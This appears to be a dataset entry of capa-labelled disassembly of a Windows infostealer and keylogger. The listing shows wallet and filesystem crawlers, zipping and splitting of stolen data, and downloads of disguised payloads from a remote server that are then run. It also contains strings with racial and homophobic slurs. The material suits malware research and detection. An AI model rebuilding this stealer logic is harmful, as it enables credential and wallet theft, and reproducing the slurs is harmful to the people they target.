joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x444ffc], 1
mov dword [0x444ff8], 1
mov dword [0x444ff4], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x444014], eax
mov eax, dword [0x445008]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x44501c]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x445004]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x4216b4], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x40162e
Capabilities:
Get session user name

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x30
mov ebx, ecx
call dbg.__main
mov dword [esp + 4], 0x41f12c
mov dword [esp], 0x444540
mov eax, dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call eax
sub esp, 8
mov dword [esp + 0x10], str.d774sa.tmp
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x444540
mov dword [esp + 4], str.C:Users_s_s_s
mov dword [esp], 0x444260
call sym._sprintf
mov dword [esp + 0x10], str.3_33s_q7.tmp
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x444540
mov dword [esp + 4], str.C:Users_s_s_s
mov dword [esp], 0x444060
call sym._sprintf
mov dword [esp + 8], 0x444540
mov dword [esp + 4], str.C:Users_sAppDataLocalPackagesMicrosoft.Windows.Quickstart_n1yecw5wyh2txcurl.exe
mov dword [esp], 0x444460
call sym._sprintf
mov eax, dword [ebx + 4]
add eax, 4
mov eax, dword [eax]
mov dword [esp], eax
call sym._atoi
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 8
ja 0x4017aa
mov eax, dword [ebp - 0xc]
shl eax, 2
add eax, 0x4221b8
mov eax, dword [eax]
jmp eax
mov dword [esp], 0x4220bf
call sym._printf
mov dword [esp], str.Your_options_are:_n1__Run_crawls_t2__Zip_cargo_n_____________________3__Deliver_cargo_t4__Refactoriing__TODO__n_____________________5__Check_keylogger_status_t6__Check_current_version_n__t_t____7__Kamikaze_t8__Run_keylog_delivery
call sym._printf
jmp 0x4017c5
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x4017d4
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [esp + 4], 0x4221dc
mov dword [esp], 0x444260
call sym._check_exist
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.Returned:__d_n
call sym._printf
cmp dword [ebp - 0xc], 0
je 0x40185c
mov dword [esp + 8], 0x444260
mov dword [esp + 4], 0x4221ed
lea eax, [ebp - 0x21c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x21c]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401850
mov dword [esp], str.Created_folder
call sym._puts
jmp 0x40185c
mov dword [esp], str.Creating_folder_failed
call sym._puts
mov dword [esp + 4], 0x4221dc
mov dword [esp], 0x444060
call sym._check_exist
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], str.Returned:__d_n
call sym._printf
cmp dword [ebp - 0x14], 0
je 0x4018db
mov dword [esp + 8], 0x444060
mov dword [esp + 4], 0x4221ed
lea eax, [ebp - 0x21c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x21c]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x4018cf
mov dword [esp], str.Created_folder
call sym._puts
jmp 0x4018db
mov dword [esp], str.Creating_folder_failed
call sym._puts
mov dword [esp], str.Niggerfag
call sym._puts
call sym._get_system_info
mov dword [esp], str.Passed_the_fucka_you_twatta
call sym._puts
call sym._run_wallet_crawler
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x401912
mov dword [esp], str.__Crawl_wallets_failed__nigger
call sym._puts
mov dword [esp], str.START_RUN_FS_CRAWLER
call sym._printf
call sym._run_fs_crawler
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x401938
mov dword [esp], str.__Crawl_filesystem_failed__nigger
call sym._puts
mov dword [esp], str.START_STEALER
call sym._puts
mov dword [esp + 4], 0x444060
mov dword [esp], 0x444540
call sym._stealer_main
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x40196d
mov dword [esp], str.__Running_stealer_failed
call sym._puts
mov dword [esp], str.end_stealer
call sym._puts
call sym._move_keylog_file
mov dword [ebp - 0x28], eax
mov dword [esp], str.fuck_a_bongo
call sym._puts
cmp dword [ebp - 0x28], 0
je 0x40199f
mov dword [esp], str.__Move_keylog_failed
call sym._puts
mov eax, 0
leave
ret
Function at 0x4019a6
Capabilities:
Delete file
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9a8
mov dword [esp], str.ZIP_THIS_SHIT__BOY
call sym._puts
call sym._get_uid
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.MACH_UID:__s_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x444260
mov dword [esp + 8], 0x444060
mov dword [esp + 4], str.powershell_Compress_Archive__Path__s__DestinationPath__s_s.zip
lea eax, [ebp - 0x340]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x340]
mov dword [esp + 4], eax
mov dword [esp], str.ZIP_CMD:__s_n
call sym._printf
lea eax, [ebp - 0x340]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401a3c
mov dword [esp], str.Zip_process_2_failed
call sym._puts
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x444260
mov dword [esp + 4], str._s_s.zip
lea eax, [ebp - 0x660]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x660]
mov dword [esp + 4], eax
mov dword [esp], str.FILE_TO_SPLIT:__s_n
call sym._printf
lea eax, [ebp - 0x660]
mov dword [esp], eax
call sym._findSize
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov edx, 0x431bde83
mov eax, ecx
imul edx
mov eax, edx
sar eax, 0x12
sar ecx, 0x1f
mov edx, ecx
sub eax, edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov edx, eax
neg edx
cmovns eax, edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x660]
mov dword [esp], eax
call sym._split_file
mov dword [esp + 8], 0x444060
mov dword [esp + 4], str.powershell_Remove_Item__LiteralPath__s__Force__Recurse
lea eax, [ebp - 0x980]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x980]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x401b00
mov dword [esp], str.Removal_failed
call sym._puts
lea eax, [ebp - 0x660]
mov dword [esp], eax
call sym._remove
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x401b23
mov dword [esp], str.Remove_zip_failed
call sym._puts
mov eax, 0
leave
ret
Function at 0x4020e8
Capabilities:
Capture network configuration via ipconfig
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
call sym._get_uid
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x444060
mov dword [esp + 4], str._s_s.txt
lea eax, [ebp - 0x208]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x208]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_systeminfo_____s
lea eax, [ebp - 0x334]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x208]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_ipconfig_____s
lea eax, [ebp - 0x460]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x334]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x402181
mov dword [esp], str.Get_systeminfo_failed
call sym._puts
lea eax, [ebp - 0x460]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4021a4
mov dword [esp], str.Get_ipconfig_failed
call sym._puts
mov eax, 0
leave
ret

Function at 0x4021ab
Capabilities:
Delete file
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x444540
mov dword [esp + 4], str.C:Users_s_swin_f64_zzgc.bat
lea eax, [ebp - 0x208]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x208]
mov dword [esp + 4], eax
mov dword [esp], 1
call sym._create_specific_file
mov dword [ebp - 0xc], eax
mov dword [esp], str.UDU_WUDU
call sym._puts
cmp dword [ebp - 0xc], 0
jne 0x402218
mov dword [esp], str.Create_crawler_batch_failed
call sym._puts
mov eax, 1
jmp 0x402277
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40223f
mov dword [esp], str.File_execution_failed
call sym._puts
mov eax, 1
jmp 0x402277
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._remove
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x402266
mov dword [esp], str.Removal_of_file_failed
call sym._puts
mov eax, 1
jmp 0x402277
mov dword [esp], str.Removed_rawka_fucka_file
call sym._puts
mov eax, 0
leave
ret
Function at 0x402279
Capabilities:
Delete file
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x444540
mov dword [esp + 4], str.C:Users_s_swin_f64_zzgc.bat
lea eax, [ebp - 0x208]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x208]
mov dword [esp + 4], eax
mov dword [esp], 2
call sym._create_specific_file
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4022da
mov dword [esp], str.Create_crawler_batch_failed
call sym._puts
mov eax, 1
jmp 0x402339
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x402301
mov dword [esp], str.File_execution_failed
call sym._puts
mov eax, 1
jmp 0x402339
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._remove
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x402328
mov dword [esp], str.Removal_of_file_failed
call sym._puts
mov eax, 1
jmp 0x402339
mov dword [esp], str.Removed_fucker_file_you_fuck
call sym._puts
mov eax, 0
leave
ret
Function at 0x40233b
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a8
mov ecx, 0
mov eax, 0x18
and eax, 0xfffffffc
mov edx, eax
mov eax, 0
mov dword [ebp + eax - 0x34], ecx
add eax, 4
cmp eax, edx
jb 0x402358
mov dword [ebp - 0x34], str.SchTasks__Delete__TN__DataRestoreSettings_
mov dword [ebp - 0x30], str.SchTasks__Delete__TN__TouchpadSyncSettingsRestore_
mov dword [ebp - 0x2c], str.SchTasks__Delete__TN__LocalUserDataSyncAvailable_
mov dword [ebp - 0x28], str.SchTasks__Delete__TN__MouseDataRestoreAvailable_
mov dword [ebp - 0x24], str.SchTasks__Delete__TN__PenSettingsSync_
mov dword [esp + 8], 0x444260
mov dword [esp + 4], str.powershell_Remove_Item__LiteralPath__s__Force__Recurse
lea eax, [ebp - 0xfc]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 8], 0x444060
mov dword [esp + 4], str.powershell_Remove_Item__LiteralPath__s__Force__Recurse
lea eax, [ebp - 0x1c4]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 0xc], str.AppDataLocalPackagesMicrosoft.Windows.Quickstart_n1yecw5wyh2tx
mov dword [esp + 8], 0x444540
mov dword [esp + 4], str.powershell_Remove_Item__LiteralPath_C:Users_s_s__Force__Recurse
lea eax, [ebp - 0x28c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0xfc]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40240d
mov dword [esp], str.Removal_failed_dstdir
call sym._puts
jmp 0x402419
mov dword [esp], str.Removal_dstdir
call sym._puts
lea eax, [ebp - 0x1c4]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40243e
mov dword [esp], str.Removal_failed_zipdir
call sym._puts
jmp 0x40244a
mov dword [esp], str.Removal_zipdir
call sym._puts
lea eax, [ebp - 0x28c]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x40246f
mov dword [esp], str.Removal_failed_file_dst
call sym._puts
jmp 0x40247b
mov dword [esp], str.Removal_file_dst
call sym._puts
mov dword [ebp - 0xc], 0
jmp 0x4024ac
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x34]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x4024a8
mov dword [esp], str.schtasks_removal_failed
call sym._puts
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 4
jbe 0x402484
mov eax, 0
leave
ret
Function at 0x4024ed
Capabilities:
Contain obfuscated stackstrings
Execute command
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x378
mov dword [esp], str.powershell_Get_Process_WdiNisMon
call sym._system
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4026f0
mov dword [esp + 0x10], str.WdiNisMon.exe
mov dword [esp + 0xc], str.AppDataLocalPackagesMicrosoft.Windows.Quickstart_n1yecw5wyh2tx
mov dword [esp + 8], 0x444540
mov dword [esp + 4], str.C:Users_s_s_s
lea eax, [ebp - 0x356]
mov dword [esp], eax
call sym._sprintf
mov dword [esp], str.Logger_not_running
call sym._puts
lea eax, [ebp - 0x356]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_Test_Path__s__PathType_Leaf
lea eax, [ebp - 0x28e]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x28e]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4026a9
mov dword [ebp - 0x36], 0x6f6d6962
mov dword [ebp - 0x32], 0x6c68746e
mov word [ebp - 0x2e], 0x79
lea eax, [ebp - 0x36]
mov dword [esp], eax
call sym._get_current_ip
mov dword [ebp - 0x14], eax
mov dword [esp + 0xc], 0x41f084
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], str.http:___s:_s_a44185s.pdf
lea eax, [ebp - 0x1c6]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 0xc], str.AppDataLocalPackagesMicrosoft.Windows.Quickstart_n1yecw5wyh2tx
mov dword [esp + 8], 0x444540
mov dword [esp + 4], str.C:Users_s_s_a44185s.pdf
lea eax, [ebp - 0xfe]
mov dword [esp], eax
call sym._sprintf
call sym._check_curl
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x40260b
mov dword [esp], str.__Curl_installed
call sym._puts
lea eax, [ebp - 0xfe]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1c6]
mov dword [esp], eax
call sym._download_file
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x402642
mov dword [esp], str.__Download_logger_failed
call sym._puts
mov eax, 1
jmp 0x402701
mov dword [esp + 4], 0x4221dc
mov dword [esp], 0x444260
call sym._check_exist
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x402675
mov dword [esp], str.__Downloaded_logger_not_found
call sym._puts
mov eax, 1
jmp 0x402701
lea eax, [ebp - 0x356]
mov dword [esp + 4], eax
lea eax, [ebp - 0xfe]
mov dword [esp], eax
call sym._rename
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x4026a9
mov dword [esp], str.__Rename_logger_failed
call sym._puts
mov eax, 1
jmp 0x402701
lea eax, [ebp - 0x356]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x2c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x356]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__execve]
call eax
cmp eax, 0xffffffff
jne 0x4026fc
mov dword [esp], str.execve
call sym._perror
mov eax, 1
jmp 0x402701
mov dword [esp], str.Logger_running
call sym._puts
mov eax, 0
leave
ret
Function at 0x402790
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a8
mov dword [ebp - 0x1e], 0x6f6d6962
mov dword [ebp - 0x1a], 0x6c68746e
mov word [ebp - 0x16], 0x79
lea eax, [ebp - 0x1e]
mov dword [esp], eax
call sym._get_current_ip
mov dword [ebp - 0xc], eax
mov dword [esp + 0x10], str.vrs.txt
mov dword [esp + 0xc], 0x41f084
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.http:___s:_s__s
lea eax, [ebp - 0xe6]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0xe6]
mov dword [esp], eax
call sym._get_text_file_from_server
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x41f07c
je 0x4028f1
mov dword [esp + 0x10], str.win32updater.exe
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x444540
mov dword [esp + 4], str.C:Users_s_s_s
lea eax, [ebp - 0x280]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 0x10], str.win32updater.exe
mov dword [esp + 0xc], 0x41f084
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.http:___s:_s__s
lea eax, [ebp - 0x1b8]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x280]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1b8]
mov dword [esp], eax
call sym._download_file
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x402895
mov dword [esp], str.__Download_failed
call sym._puts
mov eax, 1
jmp 0x4028f6
lea eax, [ebp - 0x280]
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0xf0]
mov dword [esp + 4], eax
lea eax, [ebp - 0x280]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__execve]
call eax
cmp eax, 0xffffffff
jne 0x4028f1
mov dword [esp], str.__Running_updater_failed
call sym._puts
mov dword [esp], str.execve
call sym._perror
mov eax, 1
jmp 0x4028f6
mov eax, 0
leave
ret

Function at 0x402a14
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov dword [ebp - 0x22], 0x65776f70
mov dword [ebp - 0x1e], 0x65687372
mov dword [ebp - 0x1a], 0x77206c6c
mov dword [ebp - 0x16], 0x6d616f68
mov word [ebp - 0x12], 0x69
mov dword [esp + 4], 0x422a79
lea eax, [ebp - 0x22]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__popen]
call eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x64
lea eax, [ebp - 0x86]
mov dword [esp], eax
call sym._fgets
lea eax, [ebp - 0x86]
mov dword [esp], eax
call sym._SHA256
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
leave
ret
Function at 0x402a8a
Capabilities:
Contain obfuscated stackstrings
Execute command
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov dword [esp + 8], 0x444460
mov dword [esp + 4], str.powershell_dir__s
lea eax, [ebp - 0x144]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x144]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x402bf1
mov dword [ebp - 0x14e], 0x6f6d6962
mov dword [ebp - 0x14a], 0x6c68746e
mov word [ebp - 0x146], 0x79
lea eax, [ebp - 0x14e]
mov dword [esp], eax
call sym._get_current_ip
mov dword [ebp - 0x10], eax
mov dword [esp + 0xc], str.AppDataLocalPackagesMicrosoft.Windows.Quickstart_n1yecw5wyh2tx
mov dword [esp + 8], 0x444540
mov dword [esp + 4], str.C:Users_s_s411x_48kj.md
lea eax, [ebp - 0x40a]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 0x10], str.ca22update.md
mov dword [esp + 0xc], str.3080
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.http:___s:_s__s
lea eax, [ebp - 0x27a]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x40a]
mov dword [esp + 4], eax
lea eax, [ebp - 0x27a]
mov dword [esp], eax
call sym._download_file
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x402b7a
mov dword [esp], str.Create_crawler_batch_failed
call sym._puts
mov dword [esp + 4], 0x422ac6
lea eax, [ebp - 0x40a]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x402bac
mov dword [esp], str.Curl_file_not_downloaded
call sym._puts
mov eax, 1
jmp 0x402bf6
mov dword [esp + 0xc], str.AppDataLocalPackagesMicrosoft.Windows.Quickstart_n1yecw5wyh2tx
mov dword [esp + 8], 0x444540
mov dword [esp + 4], str.C:Users_s_scurl.exe
lea eax, [ebp - 0x342]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x342]
mov dword [esp + 4], eax
lea eax, [ebp - 0x40a]
mov dword [esp], eax
call sym._rename
mov eax, 0
jmp 0x402bf6
mov eax, 0
leave
ret

Function at 0x402bf8
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
call sym._get_uid
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0x444060
mov dword [esp + 0xc], str.AppDataLocalTemp
mov dword [esp + 8], 0x444540
mov dword [esp + 4], str.powershell_mv_C:Users_s_s_boot.txt__s_s_boot.txt
lea eax, [ebp - 0x204]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x204]
mov dword [esp + 4], eax
mov dword [esp], str.copy_boot:__s_n
call sym._printf
lea eax, [ebp - 0x204]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x402c72
mov eax, 0
jmp 0x402c77
mov eax, 1
leave
ret
Function at 0x402e6b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0xc], 4
mov dword [ebp - 0x1c], 0
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._memmove
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x20
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x402f45
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x18], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov eax, 0
leave
ret

Function at 0x403244
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
mov dword [ebp - 0xc], 0x4234a4
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4032a9
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4234a8
lea eax, [ebp - 0x78]
mov dword [esp], eax
call sym._sprintf_1
lea eax, [ebp - 0x78]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4032a9
mov dword [esp], 0x4234b1
call sym._puts
mov eax, 0
leave
ret

Function at 0x4032b0
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x18], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x444940
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.reg_export__s_C:Users_sAppDataLocalTemp_s_s_s.reg
lea eax, [ebp - 0x2a]
mov dword [esp], eax
call sym._sprintf_1
lea eax, [ebp - 0x2a]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x403314
mov dword [esp], str.Reg_export_failed
call sym._puts
mov eax, 1
jmp 0x403319
mov eax, 0
leave
ret

Function at 0x40331b
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.REG_QUERY__s
lea eax, [ebp - 0x2a]
mov dword [esp], eax
call sym._sprintf_1
lea eax, [ebp - 0x2a]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x403356
mov eax, 0
jmp 0x40335b
mov eax, 1
leave
ret